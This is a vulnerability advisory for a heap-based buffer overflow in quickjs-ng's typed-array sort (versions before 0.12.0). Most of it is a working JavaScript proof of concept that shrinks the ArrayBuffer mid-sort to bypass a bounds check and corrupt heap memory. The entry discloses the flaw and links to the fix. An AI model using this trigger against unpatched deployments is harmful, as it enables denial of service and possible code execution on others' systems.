Heap-based Buffer Overflow Affecting quickjs-ng/quickjs package, versions [0,0.12.0)

Affected versions of this package are vulnerable to Heap-based Buffer Overflow via the function js_typed_array_sort in the quickjs.c file. An attacker can execute arbitrary code or cause a denial of service by supplying crafted input that triggers a heap-based buffer overflow during the sorting process.

const trigger = 1734; // determined via trial and error
const sz = 256;
const newSz = 10;
const ab = new ArrayBuffer(sz, { maxByteLength: sz * 10 });
const u8 = new Uint8Array(ab);

// fill with ascending values
for (let i = 0; i < sz; i++) u8[i] = i;
// Make the last element 0 so it moves to front
// We want rqsort to place index 255 at the beginning of array_idx before the resize
// in order to bypass OOB check in js_TA_cmp_generic
/* if (a_idx >= p->u.array.count || b_idx >= p->u.array.count) {
    // OOB case
    psc->exception = 2;
    return 0;
} 
*/
u8[sz - 1] = 0; 

let cnt = 0;
u8.sort((a, b) => {
    cnt++;
    
    if (cnt === trigger) {
        // when this resize happens, array_idx already has index 255 at the beginning
        // so the OOB check in js_TA_cmp_generic is bypassed
        // OOB access happens at this point in js_typed_array_sort
        /*
        case 1:
        for(i = 0; i < len; i++) {
            j = array_idx[i]; // here
            ((uint8_t *)array_ptr)[i] = ((uint8_t *)array_tmp)[j];
        }
        break;
        */
        try { ab.resize(newSz); } catch(e){}
    }
    
    return a - b;
});

• GitHub Commit
• GitHub Issue
• GitHub PR